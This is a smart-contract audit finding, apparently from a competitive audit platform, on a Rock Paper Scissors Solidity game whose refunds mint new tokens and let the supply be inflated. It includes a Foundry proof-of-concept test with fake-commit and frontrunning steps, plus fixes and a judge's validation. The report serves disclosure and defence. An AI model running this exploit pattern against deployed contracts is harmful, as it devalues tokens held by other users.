Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: low
Valid

Uncontrolled token supply inflation through game cancellation/timeout manipulation

Summary

The RockPaperScissors contract contains a critical vulnerability in its token refund mechanism. When a token-based game is canceled or times out (by player), the contract mints new tokens to refund players instead of returning the originally deposited tokens. This creates an exploitable inflation vector where a malicious actor can artificially increase the total supply of WinningToken through a self-play attack pattern, ultimately devaluing the token and breaking the game's economic model.

Vulnerability Details

The RockPaperScissors contract follows a pattern where token-based games require players to deposit 1 WinningToken. However, during refund processes (like game cancellations or timeouts), the contract mints new tokens to players rather than returning the originally deposited tokens.

A malicious actor can exploit this by:

  • Creating multiple token-based games using one wallet.

  • Joining those games using a second wallet they control.

  • Advancing the games to the committed state.

  • Deliberately allowing the games to time out.

  • Triggering refunds that mint new tokens to both wallets.

function testShowInflatedGameToken() public {
uint initialTokenSupply = token.totalSupply();
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
vm.startPrank(playerB);
// PlayerB fakes a commit to emit an event for playerA to think playerB is committed
game.commitMove(gameId, bytes32(0));
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB));
// This is invoked after reading playerA's revealMove in mempool (frontrunning)
game.commitMove(gameId, commitB);
vm.stopPrank();
vm.warp(block.timestamp + TIMEOUT + 1); // Move to the next turn
// Reveal moves
vm.prank(playerA);
game.timeoutReveal(gameId);
uint finalTokenSupply = token.totalSupply();
assertEq(finalTokenSupply, initialTokenSupply + 2);
}

With each cycle, 2 new tokens are minted while only 2 were originally deposited, creating a net gain of 0 tokens for the attacker but artificially inflating the total supply. This can be repeated indefinitely, with the only cost being transaction gas fees (which can be very low since games are typically deployed in non-costly L2 chains). This can also have a broader impact if token is being integrated with other DeFi protocols from which this manipulatable totalSupply can cause damage their.

Impact

  • Unlimited, arbitrary inflation of the WinningToken supply.

  • Complete devaluation of the WinningToken over time.

  • Economic collapse of the game's token system.

  • The vulnerability is easily exploitable at scale with minimal cost (just gas fees).

  • Particularly damaging in L2 environments where gas costs are lower.

  • Breaks any external systems or applications integrating with the WinningToken.

  • Undermines user trust in the protocol's economic design.

Tools Used

  • Foundry

Recommendations

  • Modify the refund mechanism to return the originally deposited tokens instead of minting new ones.

  • Adopt a mechanism to burn tokens held by the game contract. This seems to be the intended design since WinningToken inherits a Burnable trait.

Updates

Appeal created

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Minting Instead of Transferring Staked Tokens

Mints new tokens upon game completion or cancellation for token-based games

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Minting Instead of Transferring Staked Tokens

Mints new tokens upon game completion or cancellation for token-based games

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.